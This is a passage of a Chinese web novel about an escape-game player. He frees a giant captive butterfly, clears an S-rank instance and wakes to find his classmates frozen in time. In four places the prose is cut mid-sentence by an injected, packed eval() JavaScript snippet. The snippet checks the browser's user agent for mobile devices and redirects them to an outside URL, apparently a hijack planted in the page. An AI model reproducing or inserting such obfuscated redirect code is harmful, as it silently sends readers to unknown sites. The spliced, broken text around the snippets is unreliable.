她想破脑袋都想不通,自己怎么和深渊里的沈铎互换了身体,这也是神迹吗?此时此刻她也涌出了一股冲动,她要爬上去,为了自己,她也要上去。她要看看自己的身体怎么样了,沈铎也被换过去了吗? 沈铎都被陈文轩抹了脖子,他都要死了啊! 那她会不会也要死了…… 筱雨被恐惧和冲动裹挟,顷刻间就爬上了观测台,刚要看向自己的位置,就听到那道声音再次响起,“杀了陈文轩。”依旧是命令。 “陈文轩……陈文轩他……”筱雨舔了下嘴唇,心鼓雷鸣,想解释陈文轩很难杀,但窥伺自己的存在似乎掌控了全局,毫不担心,“你能做到的。” 我为什么能做到? 因为你、因为你会庇佑我吗? “……”她下定了决心,本来杀掉陈文轩就是复仇计划的一环,她朝许长翼打了一个很隐晦的手势,这是独属于他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14119798|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的密码,是开作战模拟会时定下来的,这次轮到许长翼完全懵逼了。 他的伙伴筱雨刚才忽然欲言又止,然后一言不发。他正觉得奇怪,深渊中的沈铎忽然从停滞中复苏,蹭蹭蹭几下就蹬上来,等那道矫健的身影落定观测台,忽然抬起手,对着自己打出了意料之外的手势。 许长翼惊惧交加。 脑海中翻来覆去【沈铎混进了作战会?!我草?!】【他有没有可能是我们的人】【陈文轩知道了他们的复仇计划?!我草?!】…… 但那个手势的意义是【我要干翻他】 这个他肯定不是许长翼,沈铎不可能在攻击自己之前打一声招呼,说我要来揍你了,他又不是脑残。 那么…… 许长翼看向陈文轩,试探着回应:【……杀掉他?】 沈铎几乎瞬间应答:【杀掉他!】 两个人一起撕向陈文轩。许长翼和沈铎肩部齐平时低声问道:“关樊怎么办?”只听沈铎用一种奇异而熟悉的语气回复自己:“不必担心。” “我们如有神助。” 这种被洗脑的感觉是怎么回事啊??? 连番变化也让陈文轩始料不及,但二人都攻了过来,他也没有不接招的道理。陈文轩更多注意的还是死而复生的沈铎,他搞不懂都这样了,这人竟然还能从地狱爬上来,一边拆招一边注意到,被他割开的伤口正在飞快痊愈,现在沈铎脖子上只剩一道细细的血线。 “你走神了。”许长翼锁住他的脖子,冷酷道。 陈文轩心中一紧,连忙回神。他的顾虑太多,险些被两人钻了空子,更麻烦的是,这两个人配合非常默契,就像一起训练过很多年。可许长翼不是才和沈铎见面吗?无数的问题涌来,陈文轩竟也有了一丝无措感,他抬起手,想召唤关樊过来。 血一滴滴落下,那听话的工具居然没任何动静。 陈文轩的不安感加剧了,他在躲过沈铎袭来的一脚后看向关樊的位置,和一个面容清丽的冷漠女人对视。 她的手里拎着一只血淋淋的头。 关樊的头。 它的身体正在女人脚下抽搐。 陈文轩:“……” 因为过于荒谬离奇,他竟然想放声大笑。 “想杀了我,凭你们也想杀了我……”一边大笑一边面容扭曲,比起察觉到他们的杀意,他更不能接受的是顷刻间他就从胜方落败为劣势,他应该是生物链的高等生物,没有人能站在他头上! 许长翼和“沈铎”的动作都慢了下来,他们都察觉到陈文轩更疯了。 “沈铎”迟疑道:“……您能帮助我们吗?” 许长翼匪夷所思:“你在跟谁说话?” 真正的沈铎扔开关樊的头,从筱雨的身体脱离而出,他现在无比自由,精神力磅礴震荡,这个空间凡有神的生灵,都能被他操控。这里难道只有人吗?这间雕塑馆里最多的生灵,当然不是人。 他抬起头,看向如同星空闪烁在头顶的蝴蝶。 万千精神,顷刻游走。 仿佛看不见的飓风,卷向高空。 栖息中立的蝴蝶们都感受到了丝丝凉风,它们翅膀上的粉尘随风散落,就像过去一阵烟尘,没有带来任何变化,但变化已然发生。 一瞬安静后,一只蝶像是被人攥紧命脉,呆滞片刻,扑闪着翅膀飞起。 其余蝴蝶讶异且不满,谴责地注视着这只打扰它们休息的同类,但下一秒,像多诺米骨牌纷纷感染呆滞反应,一只只被人操控,扑闪翅膀飞出黑暗。 地面的人察觉到了高空的骚动。 他们看到第一只蝶轻盈跃出黑暗,数以万计的蝴蝶跟随其后,振翅声密密麻麻,仿佛恐怖美丽的军团,风暴席卷而来! 24. 蝴蝶雕塑馆[完] -24- 蝴蝶像飓风一样袭来,许长翼和筱雨望天失神,他们很快发现,这个庞大的军团是来帮助他们的,顿时士气大涨,在双方配合下,陈文轩很快被击溃,许长翼难以想象,复仇梦竟一朝实现。 他卡住陈文轩的脖子,眼前晃过无数画面。 最后定格在商飞扬结茧窒息的一幕,许长翼毫不留情收拢手掌,陈文轩被撕红双眼,也死死掐住他的脖子,筱雨想要上前帮忙,被许长翼制止:“别……过来……” 他看穿了陈文轩狡诈的意图。 如果筱雨过来,陈文轩一定会拖她下水。 许长翼的双臂就是最牢固的铁索,时隔多年终于将罪徒绳之以法,在蝴蝶的帮助下僵持来到观测台,一句多余的话都没有,便禁锢着陈文轩往深渊倒去。筱雨奔上台,只看见两道远去的影子和无数盘旋的蝴蝶,她的脚忽然被绊了一下。 低头一看,是一只破旧的雕塑小狗。 又是一愣。 她发现,自己已经切换回原来的身体。 蝴蝶军团纷纷远去,仿佛它们的任务已经终结,她站在穹顶和深渊的中间,想起那道神秘声音的命令,祂言出必行,说要杀了陈文轩,就一定会做到。筱雨好似瞻仰了一次神迹,虔诚地叩问:“您要离开了吗?” 明明没有任何回音,但她却像在废墟中听到粗重的喘息。 她又试探着再问一遍,“……您,还有需要我去做的事吗?” 片刻之后。 她得到了冰冷的指示。 “立刻离开。” …… 角色卡上【神】字已然燃烬,焚毁进度来到了惊人的【76%】,同时沈铎耳边逼近了另外的倒计时:“隐藏任务进度为【78%】,蝴蝶雕塑馆预计将在10分钟内毁灭,玩家沈铎,您需要在此之前离开雕塑馆,否则后果自负。” “播报重复第二遍,隐藏任务……” 【78%】的倒计时为10分钟。 那【76%】的倒计时应该也是。 留给他的通关时间最多只有10分钟。 陈文轩已经和许长翼同归于尽。但陈文轩不算什么,这个副本是在触发到【蝶母】以后才破格升级为S的,他通关之路上要面临的最终BOSS是【蝶母】而非陈文轩。 可这怎么可能呢? 他的S级异能已经用完大招,基础面板因为角色卡崩坏无法使用,说好听一点,他现在除了占着一个觉醒的名头,没有其他用处。 所以要怎么解决? 沈铎抬起头,视线穿过纷纷斑斓的蝶翼,看向那只犹在嗡鸣的铃铛,想起数十分钟前,那道神秘的黑影降临眼前,给他的唯一提示。 “BUG是蝶母。” 沈铎之前只注意到这句话包含的第一层意思,大人物提到了【蝶母】,那【蝶母】就至关重要,是通关的唯一钥匙。 可要是还有第二层意思呢? BUG。 BUG是什么? 内测池是用来测试副本的,没出BUG的副本就会投放到正式服,也就是说,有可能这个副本本身的规格并不是S级,就算剧情三折叠都有反转,撑死也只能算个A,之所以被迫升级,是因为这只不该出现于此的【蝶母】。 突然出现的BUG。 系统大吼:“沈铎!没有时间了!!!” 现实里的游戏是怎么做的呢? 沈铎玩的那些游戏会修复BUG,是的,这件事理应由游戏方来处理,但逃生游戏却置之不理…… 等等,如果是他们做不到呢? 他们做不到,所以要寄希望在我身上? 沈铎知道这种游戏都有精准的算法,他们必定通过了上千万次的计算,发现他身上有解决【蝶母】的可能性,这才纡尊降贵,千里迢迢过来给他一个提示。沈铎本来有些疲惫,想到这一茬又重振威风。 金铃铛似乎响得更凶了。 “倒计时,5分钟……” “倒计时,4分47秒……” 双重倒计时逼近,沈铎充耳不闻。倒不是因为他心理素质强大,而是刚才走神到万千蝴蝶身上,还有许许多多没有收回。现在他的精神力如细丝漫游四周,无处不在,极微弱地,他忽然捕捉到深渊中响起的振翅声。 太微弱了。 跟其他有生命力的蝴蝶比起来,这道振翅微不可闻,仿佛煽动一下翅膀就耗尽全力。 “倒计时,4分钟……” “倒计时,3份47秒……” 沈铎尝试走神去链接这只蝴蝶的意识,但因为对方的气息太微弱,失败了好几次。 这是一道精细活,简直就像将细细的线对准缝衣针,他耐心地再试,终于成功了。 但是连上的一瞬间,他“呃”了一声,全身所有的精神力被一秒抽空,分散而去的万千精神自然而然回充,可是重归他这里还不到一秒,就被那只蝴蝶再次吸走,他感觉自己就像一个中转桶。 系统也发现了沈铎面色苍白,“……你怎么了?” “我好像找到【蝶母】了。”沈铎的上一句话让它惊喜,下一句让它跳楼,“它快吸干我的精神力了。” “那可怎么办啊!精神衰竭是万万不能的!” 系统不知道他为什么要作死去找蝶母,沈铎还没告诉它自己的异能是什么,它盲目地猜测,可能跟之前的许愿瓶差不多。可是占领一只普通蝴蝶的身躯和占领神话生物的身躯是完全两种概念,后者纯纯找死。 “你的精神力,应该在连上【蝶母】的那瞬间就被吞空的……”它意识到了不对,“你的精神力应该完全枯竭了,怎么还能跟我对话……” 系统小心:“还在吸吗?” 沈铎:“还在,感觉要榨干我。” 可你没有被榨干啊! 源源不断的精神力从沈铎体内抽空,他现在大部分意识来到了【蝶母】身上,第一感觉就是虚弱和饥饿。他有点不高兴了,那么多精神力都给了你,你居然还半死不活?不过,吞了那么多,好歹还是能动弹了。 结果刚动了一下,他就浑身剧痛。 痛死了! 头痛,脚痛,背痛,腰痛……哪哪都痛爆了! 身上没有一处不在叫嚣着疼痛,沈铎咬紧牙关,又从自己那抽来无数精神力,这次终于听清【蝶母】的声音。 在捕捉到这道深渊里的意识开始,他就听到持续不断的声音。 听到的一瞬间,他就愣住了。 这只巨大的蝴蝶,居然在哭泣。 悲伤的泣音盘旋不休,只是因为她太虚弱了,要借助沈铎的精神力才能痛痛快快哭出声。沈铎现在有些无措,如果【蝶母】是个面容丑陋的怪兽,那他二话不说就真刀真枪砍了,可她现在虚弱到流泪。 系统很急切:“沈铎,你遇到什么了吗?” 沈铎无措:“没有啊。” 系统不信,“那你怎么哭了?”相处这么久,他知道沈铎挺人来疯的,让他哭比登天还难。察觉到沈铎流出眼泪,系统差点眼珠子瞪出来。 “啊,我哭了吗?”沈铎想摸一摸自己的眼睛,可是他现在在【蝶母】身上,连抬手的力气都没有,天塌的悲哀充溢在身体,头顶笼罩着一团乌云,他的眼睛眨巴眨巴,流出了更多泪水。 身体太痛了。 太痛了。 心太痛了。 好痛。好痛。 他好像听到这些哀求声。 都不是求助,而是哀莫大于心死,挣扎时无意识吐露的话语。沈铎感同身受,他知道很痛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14119799|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【蝶母】这些年源源不断给雕塑馆提供着茧,她的皮肤长在雕塑馆,她的孩子也在。可是现在雕塑馆要塌了,她的孩子们也要毁灭了。 沈铎吸了下鼻子,“蝶母阿姨,你想要什么吗?” 这句话是出于真心的。 蝴蝶微弱煽动翅膀,“让我自由吧。” 沈铎擦掉眼泪,“好。” 在痛快哭出声之后,她似乎别无所愿了。简直像将自己的脖子亲手递到沈铎的手中,沈铎在这一刻才意识到,原来通关的真正方式,并不是毁灭掉BOSS,而是解放受困的BOSS,作茧自缚的人终将受罚,可束缚蝴蝶的却是人类,她什么错都没有。 “对不起。”他轻声说道。 斑斓的巨大蝶翼虚弱地动了一下,似乎在对他说没关系。沈铎回归到自己原本的身体,刚回来就听到刺耳的警报声: “倒计时1分钟,请玩家尽快离开副本!” “倒计时1分钟,请玩家尽快通关离开!” 他的角色卡已经全残,还剩基础属性模块苟延残喘,沈铎灌了两口回血药,力量值恢复至极限的1。 沈铎抬起手,快而准地割开了深渊中的白茧。 1点力量,是杀不死蝴蝶的。 但1点力量,却可以让蝴蝶飞翔。 他抬起头来,身旁的白茧一点点裂开,头顶的雕塑馆也出现裂缝,潮湿的热气似乎都从那道裂缝泄了出去,沈铎虽然站在最下方,但似乎还是能闻到雕塑馆外清新的雨水气息,丝丝微凉的雨丝贴上他的面颊。 “倒计时30秒——” 地面开裂下陷的前一秒,一只雕塑小狗忽然轻轻托住了沈铎的脚,他讶异地看了一眼,因为还有大半意识和蝶母连接着,他似乎能听懂这些由白茧做成的雕塑声音,小狗叫了两声:“汪汪(谢谢)。” 在保护他不被地面吞没之后,小狗似乎就完成了自己的使命,沈铎低头,看到它坠入了深渊。 然后,又一尊破碎的战神雕塑出现在脚下,以同样的方式帮助沈铎前进一步,然后坠入地缝。 战马雕塑。 圣子雕塑。 …… 无数雕塑从四面八方出现,在沈铎快要被下陷的地面追上时,就会轻轻出现在他脚底,将他托举到另外的伙伴手中,人的手,动物的手,植物……无数雕像的手像完成接力赛一般,将沈铎送到了雕塑馆最高层。 他已经能摸到自由的天空了。 在他稳稳抓住那道横梁之后,那尊碎了一半的圣母雕塑才松开他,又是和之前伙伴一样的结尾:“谢谢。” 沈铎知道它们为什么道谢,因为他解放了它们不自由的母亲。 也因为他的精神与【蝶母】连结着,他们错认了身份,以为是在送那只巨大受困的蝴蝶重返自由。 这是很矛盾的。 但是只要你想,万千蝴蝶和雕塑都会为你铺路。 沈铎忽然感觉到了一种链接,他没有和这些蝴蝶和雕塑连结着精神力,但在这一刻,他们的情感是相通的,这比他使用异能得到的东西还要丰富。 一道白光闪过,他闭上了眼睛。 再次睁开,微凉雨丝贴上了面颊。 他慢慢起身,望向周围。雕塑馆已经坍塌成一片废墟,断壁残垣中,只站着他一个人。不知过了多久,他附身捡起断阶上的笔记,想不注意到也难,笔记散发着道具才有的炫彩光芒,提示他这是完成隐藏任务之后,许长翼给予的特殊奖励。 捡起笔记的一瞬间,耳边响起优美的提示声,“恭喜玩家沈铎,通关S级副本,即将进入中转站结算通关奖励……” 沈铎像是没听到。 他看着一只蓝蝶从笔记本上飞起,绕着自己盘旋两圈。 然后自由地朝天空飞去。 25. 中转站01 -25- 【主线任务评级:完美——!】 【隐藏任务评级:完美——!】 高空落下两道炫酷金章,伴随七彩烟花特效。 【尊贵的玩家,您不仅将两条任务线达成完美成就,更把关键人物的好感度升到很高——!】 【您吸引到了顾佳佳、许长翼等人的注意力,尤其筱雨,更是将您尊崇为未知的神明,虽然她并不清楚您的身份,但这些关键人物的好感还是直接指向于您——!】 【我们会贴心地将好感度换算为魅力值,届时请在邮箱查收】 【友情提示,魅力值可以用来提升基础属性哦(眨眼)】 系统适时地为沈铎插嘴解释:“负责结算奖励的也是动物判官,是一只很鸡贼很狡诈的老蛇!” 【干嘛这样说人家~】 【这边检测到玩家等级提升……】 【商店升级中,暂时无法购买……】 【尊贵的玩家,您可以在商店恢复正常使用后,用积分兑换商品,在内测池中,商店能兑换的道具最高等级为A级,悄悄提醒尊贵的玩家,您在S级副本中获得的积分相当可观,可以兑换很多哟~(眨眼)】 又是一阵更为盛大的烟花落下。 系统都有点看不下去了,“老蛇你能不能快点的,别在这儿废话了!” 沈铎感觉有一道隐晦的视线,蛇信子一样在他身上扫来扫去,系统破口大骂:“别来骚扰我的玩家!” 【人家没见过通关S级的新人嘛~】那条蛇的声音非常浮夸,【知不知道你们闹出了多大的乱子,整个正式服都乱成一锅粥了!】 “那也不关你事,赶快结算完,我们要出去休息了!” 【好的好的~急什么~】 沈铎听到系统抱怨了一句“骚蛇”,他现在连打趣“你们俩关系挺不错”的力气都没有,系统说他现在还能站着就是奇迹,他还挺想看看自己现在的各项数值,但是角色卡已经焚毁了。 说到这里,他问判官蛇:“我的角色卡……” 不等他说完,那条蛇便乐颠颠舔上手心,【在呢在呢!唔……您的角色卡焚毁了,确实有些难办,但是您这属于特殊情况嘛,再说,现在也不能再使用之前的D级角色卡了,已经是S级异能了嘛……不知道您的异能是什么呢?】 系统大骂道:“再打听就举报你,骚蛇!” 【来来回回就是举报举报,怪不得这么多年都混不出去……】判官蛇本想像往常一样嘲讽一声蠢狗,但一想到,今时不同往日,这只狗恐怕要水涨船高、狗犬升天了,便长长叹气,【你怎么走的狗屎运啊,能摊上一位S级玩家】 它的竖瞳眸子看向有些蔫吧的沈铎。 谁能想到,正式服猜破了天的天降超新星,会是一个未成年人。 外面都已经为了他天翻地覆,可他却还像是没事人一样…… 【在进行下一次游戏之前,正式服会派人将新的角色卡送过来的】回答完沈铎之后,它便开始最后的结算。 …… 【奖励清算中】 【尊贵的玩家,您获得了S级道具“撕裂次元壁的爪痕”,以及未知等级道具“蝶母及其族群的善意”……】 【您可以随时查阅道具属性,以便未来使用】 【期待下次与您的会面,祝您游戏愉快~】 判官蛇的声音消失了。 系统长舒一口气,帮沈铎将奖励收到仓库,两个道具的规格都很不一般,它从来没遇到过这么贵重的东西,动作小心翼翼。 “我现在能脱出游戏吗?”沈铎有点累了。脑子不是很能转。 系统摇了摇头,“我们还要回一趟中转站。” “中转站?” “还记得你刚见到我的时候,那条银色的水河吗?我们还要回去一趟。”系统耐心道:“但那里现在已经变得完全不同了,这都是因为你。” “因为我?” “是啊,你是第一个通关的地球玩家。” 沈铎愣住,“还有其他的地球玩家?”说起来,他一直沉迷通关,几乎没往这方面想过。但这是有可能的,有他一个地球玩家,为什么不会有第二个。 可是这种感受很奇怪。本来他只把这里当成一场全息游戏,游戏和现实是毫无关联的,因为当成游戏,所以他才能没心没肺杀掉副本里的人,那些人对他来说都不算人。 但现在系统突然提到还有其他地球玩家,这件事的性质似乎就有点变了。 就像他一个人正在网吧沉浸式打游戏,正自嗨着呢,忽然网管敲他,说隔壁包厢都是你们学校的。 不至于怀疑世界,但是那种自嗨玩游戏的感觉会消失。 沈铎有点头痛,他现在的精神力不能再思考太复杂的事情了,于是他想起了许长翼给他的那本笔记,让系统拿给他看看。 反正还有时间才到,系统就拿给他解闷。 沈铎翻了两页,发现这是许长翼的日记。 不愧是商飞扬的好兄弟,两个人都挺爱记录。 但许长翼因为长时间待在实验室,日记里还掺杂着很多数据资料,沈铎不想看这些,草草翻过,来到了许长翼早期的日记,算算时间,他那时候应该还在镇子上,没被管家老父亲接到商家。 许长翼在这些日记里描述了一些很匪夷所思的事,也是因为这些事,商国栋才会注意到这个名不见经传的破落小镇。 他之前在意的问题:筱雨和吕凯为什么死心塌地帮助商飞扬,也有了解释。 系统见他看得认真,便问:“里面说了什么?” 沈铎:“许长翼以前生活的小镇,出现过很奇怪的事。” “奇怪?蝴蝶都能寄生人,让人结茧了。”系统的意思是许长翼连这些怪事都见过了。 沈铎摇了摇头,“这些事更奇怪。” 他让系统去看日记上贴着的一张老照片,几个人正在田埂间翻地,“这几个人本来白天好好在种地,可是忽然就动不了了。” 像这样的情况陆续又发生了几例。 好端端走在路上的姑娘,在学校里上课的学生,村口勾毛衣的老奶奶……他们忽然都无法动弹了。 就像凝固在刹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14119800|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那间,无法再对外界做出任何回应,他们的样貌和年纪都停滞于此,不会老去,但也不能称为活着。 沈铎:“这才是最初降临在小镇的异象,至于【蝶母】和科斯克鲁蝶,那都是后来的事了。” 小镇偏僻愚昧,认为这些人是触犯了什么,才会被降下神罚。担心祸及自身,于是悄悄将这些人处理,对外则统一口径,说这些人出去打工了。许长翼本来深信这一说法,直到他的爷爷奶奶有一天在吃饭的时候突然停滞。 前一秒还在给自己夹菜的人,突然间就跟活人蜡像一样了。 许长翼差点被吓出精神病,被他父亲带到商家之后才好了一点。但是他、吕凯和筱雨从那时就变得有些不对劲。 除了寄生在体内的科斯克鲁蝶,还有一道更无法解释的危险隐匿在体内,不知道何时会降临,让他们三个凝固不动。 沈铎被许长翼所说的故事吸引,不知不觉翻阅到最后,连系统提醒他到了都没听见。 许长翼在最后一页写的话,是留给沈铎的。 他有些惊讶。 字迹看起来很凌乱,似乎是在匆忙间写下的,沈铎猜测,应该是在顾佳佳放走了沈铎之后,许长翼即将出发去执行复仇计划时写下来的。 “佳佳说你是一个被蒙骗的好人,那我姑且就这么相信吧,反正你以后也不会再来雕塑馆了。” “以后不会再有蝴蝶雕塑馆了。” “看在佳佳为你说情的份上,我有件事必须告诉你,你身体里的那种蝴蝶,不是什么好东西,能去掉还是去掉。如果你不相信,就看看这本日记的开端,看看我们曾经遭受过什么,我们见过比这种蝴蝶更可怕、更难以解释的东西。” “我可能是在帮助飞扬,但筱雨和吕凯不是,他们其实是在自救。但这么多年,大家的心力都被折磨干净,也许我们再也找不到答案了。” 决战让许长翼当时的感情充沛到极点,洋洋洒洒,力透纸背。 “告诉我,沈铎,倘若有一天,你的朋友、家人,在你面前凝固为不动的雕塑,再也无法回应你的呼唤和感受,你又会怎么做呢?” 沈铎笑了。 系统问他笑什么,他说没什么。 这种事怎么会发生在他身上。 系统的声音听起来很振奋,“来吧,沈铎,看看中转站,现在它为你有了雏形,有点像样的规模了。” 它想为沈铎介绍一下巨大的显示屏,那上面实时播放着内测池玩家的积分排行,等结算成功之后,沈铎的名字就会冲到第一。但沈铎似乎对这些不感兴趣,他看着不远处正在上下浮动的角色卡,足足有几十张,像孤零零的浮萍摇晃着命运。 那是……其他的地球玩家吗? 他开始朝那边行进,越过冰冷的水来到离得最近的第一张角色卡,系统想为他解释,但沈铎做了一个停的手势。 他要自己看。 忍着头疼,他看向漂浮在低空的角色卡。 无法触摸,所以他附身看得更仔细。 在看到那个名字以后,沈铎怔住。 ——白鸣珠。 26. 中转站02 -26- “白鸣珠……白鸣珠也来参加游戏了?” 沈铎脑子乱七八糟的。 系统:“很抱歉,我只负责你一个玩家,听起来,你认识这位白鸣珠?也许我能为你打探一下。” 沈铎摇摇头,“不需要。如果是他,肯定能通关的。” 系统:“你对他好像很有自信?” 沈铎含糊:“差不多吧。” 白鸣珠是他的同班同学,但两人在老师跟前的地位可谓一个天上一个地下。如果说白鸣珠是天之骄子,那沈铎就是最犄角旮旯里顽强生长的狗尾巴草,他们平时的活动区域都不一样。 要找白鸣珠,就去图书馆。 坐姿最挺拔戴着耳机一丝不苟的那位就是了。 找沈铎,那就去操场。 脏得像皮猴儿满场乱窜乱叫大笑的那个就是了。 哦,还有一个地方是能同时找到两人的,就是老师的办公室。只不过白鸣珠是被叫去表扬,沈铎是被监视着写检讨。 “我和他算是同学吧,但是交集不多,他有他的圈子,我有我的。”沈铎解释完,系统就懂了。就像他和骚蛇,融不进彼此的圈层。 沈铎越过冰水,又看向另一张摇晃的角色卡,念出熟悉的名字,“孙大圣。” “陆天璇。” “楚可。” …… 沈铎的神情越来越精彩,“你们……不会把我们班全部人都弄过来了吧。” 系统:“这样不好吗?” “好啊,非常好。”沈铎笑嘻嘻的,“大家都逃了课,我看白老师还能说什么。”他看着白鸣珠的角色卡,稳稳吃下定心丸,“他总不能让白鸣珠跟我一起写检讨吧……哈哈,不过有年级第一陪着我,那也不错!” 系统一直注意着沈铎。 这是身为十二判官的职责,他们需要时刻注意玩家的状态,越是重要的玩家,越要谨慎对待。 它惊讶发现,沈铎的精神力已经有所恢复了。 由于经验有限,没接触过很高级的玩家,它现在无从判断沈铎的水平。但它可以拿着沈铎的玩家画像回家族里问问,狗多力量大。 它仔细端详着沈铎,尽可能真实记录下他此时的状态。 沈铎使用过异能之后,整个人有了很大不同,主要表现在他的头发和瞳色上。沈铎的头发在使用异能的时候变成了完全的钻石色彩,在每一道光线下折射出五彩缤纷的镭射光,让人眼花缭乱。而他的瞳光隐隐散发出彩色宝石的光芒,这是S异能等级玩家专属。 尽管现在离他使用异能已经过了好长一段时间,但他还是有几簇呆毛是钻石色的。 它还发现,沈铎是一个优缺点很明显的玩家。 他的优点和缺点,都是走神。也就是注意力很难集中。 这能让沈铎很快从坏情绪里恢复,比如现在,他的注意力都被白鸣珠吸引走,完全忘记上一秒自己还陷在许长翼的故事里。 他是一个眼里只有当下的玩家。 也因为只注意当下,无暇想起和顾虑太多,他的精神力得到最精准的控制,一丝一毫都不至于浪费。 系统若有所思做着复盘,这就是它们判官的工作,为了玩家的提升而努力,他必须像教练一样操心沈铎的身体、精神等等方面,才能让他更好地参加下一次副本。 毕竟下一次副本,迫在眉睫了。 “狗砸,狗砸。”沈铎喊了几遍,他的兴趣已经从角色卡来到远处水天一色,“海的那边是什么啊?” 这片银色波光粼粼的水不见尽头,就像铺陈出去的汪洋大海。天际线微微透出光晕,是这方天地,除了角色卡散发出的荧光之外,唯一的光源。天际边缘,像磨出毛边的旧画儿,隐隐透出海市蜃楼的轮廓。 不等系统回答,沈铎的思维便又跳跃了,“糟糕!我的漫画还放在桌上,被白老师收走了怎么办!” 他急匆匆的,也不听系统说话,就想登出游戏了。 系统语气严肃起来,“沈铎,还记得我之前说过的三项最重要的法则吗?” “经历了一次副本,你应该对正式服有所了解。但是另外的两项法则你一定要记住,在逃生游戏里,生命只有一次。” “倒计时结束,全球待机来临。” 沈铎的注意力又被拉回来,“我之前就想问,倒计时是什么,全球待机又是什么?”待机这个词他了解,是指电脑休眠。他是在带着鞋套去机房上计算机课的时候学会这词儿的,但当时的他一门心思只想玩蜘蛛纸牌。 系统:“你很快就会知道的。” 沈铎撇嘴,“你又来了。” 他调出面板寻找登出按钮,系统还在叮嘱他下次进副本的事,沈铎连连点头答应,心里想的却是没门儿,老子再也不来了! “拜拜了您嘞!”他嬉皮笑脸,用力拍下【登出】 …… 割草机的声音震耳欲聋。 沈铎还没睁开眼睛,就闻到了熟悉的青草香味。他的座位在靠窗后排,天选睡觉绝佳地点。但他今天不能再睡了。 耳边一片寂静。 白老师今天来这么早? 今天下午第一节课是老白的,这位老师精通于折磨学生,时而提前来,时而晚点到,绝对不会给学生预测的机会。 看来今天是提前到的日子。 沈铎没抬头,因为很有可能老白就在头顶盯着自己,这种事他不是没干过。他很熟练地摸了一本书翻开,这才慢慢爬起来,因为担心和老白对视,他压着目光,从下到上,看到同桌陶慕的桌子,又沿着桌沿一路往上,没看到白老师的身影,却看到了全班人。 松下来的一口气没下去,硬生生噎在了沈铎的嗓子眼里。 第一个想法是,为什么大家坐得笔直? 第二个想法是,为什么什么声音都没有? 就算老师来了,也会有翻书和写字的声音,就算没有这些,外面也会有鸟叫啊。 又一阵嗡嗡的割草机噪音响起,沈铎这才像是被人松开了领子,喘了口气朝窗口看去,这一看,一口气又没上来。 窗外视野一望无际,一号教学楼、教职工楼、二号教学楼全都没有了。好像被一夜之间全部推平。 他用力砸了下自己。 不是做梦。 就这样定定保持一个姿势很久,沈铎下定决心般转过身,看到自己的同桌陶慕百无聊赖地转着笔,一只手还摸向自己的桌洞,打算趁白老师来前把吃了一半的手抓饼扔进去,这罪恶的一幕被时光凝滞,可沈铎连笑都笑不出来。 陶慕的另一边,是正打算抛纸团提醒他陶慕要干坏事的孙大圣,他抛起的纸团生硬地停滞在半空。 在他的前边,是正转过身,提醒孙大圣不要再踩自己凳子的陆天璇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14119801|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她皱起的眉毛永远皱着了。 沈铎做梦一样环绕全班转了三圈,这才相信。 许长翼说过的事发生在他身上了。 他马上想到——这不可能。 肯定是副本还没有结束。 “系统?狗?系统!”他语气从克制变得激烈,但是没得到任何回应,他又跑到陶慕身边,从他桌上翻出一把小镜子,镜面中映出少年的脸庞,那是今天早上洗脸的时候才刚见过的一张脸,不是副本里的脸。 发生了什么? 究竟发生了什么? 沈铎感觉巨大的茫然笼罩住自己,这是在游戏里从未有过的感受,因为在这一刻,许长翼的小镇来到了现实,他的次元壁被击穿了,这让他极度不安,而全班人的异常又让他极度困惑。 极度不安和困惑的沈铎想起那句堪称诅咒的话语:“如果你的亲人,朋友,有朝一日也变成了这样,你又会如何做呢?” 他感觉自己必须要做点什么,不然好像要在漩涡里融化下去。 这时他想到了那几十张漂浮的角色卡,全班同学的异常会跟这个有关吗?等一等。 等一等! 他好像没在这里看到白鸣珠。 “——!!!” 沈铎又仔仔细细绕了三圈,终于确定了,这间教室里没有白鸣珠。他心里立刻蹦出一个念头:找到白鸣珠。 找到他! 找到他一定能得到答案。 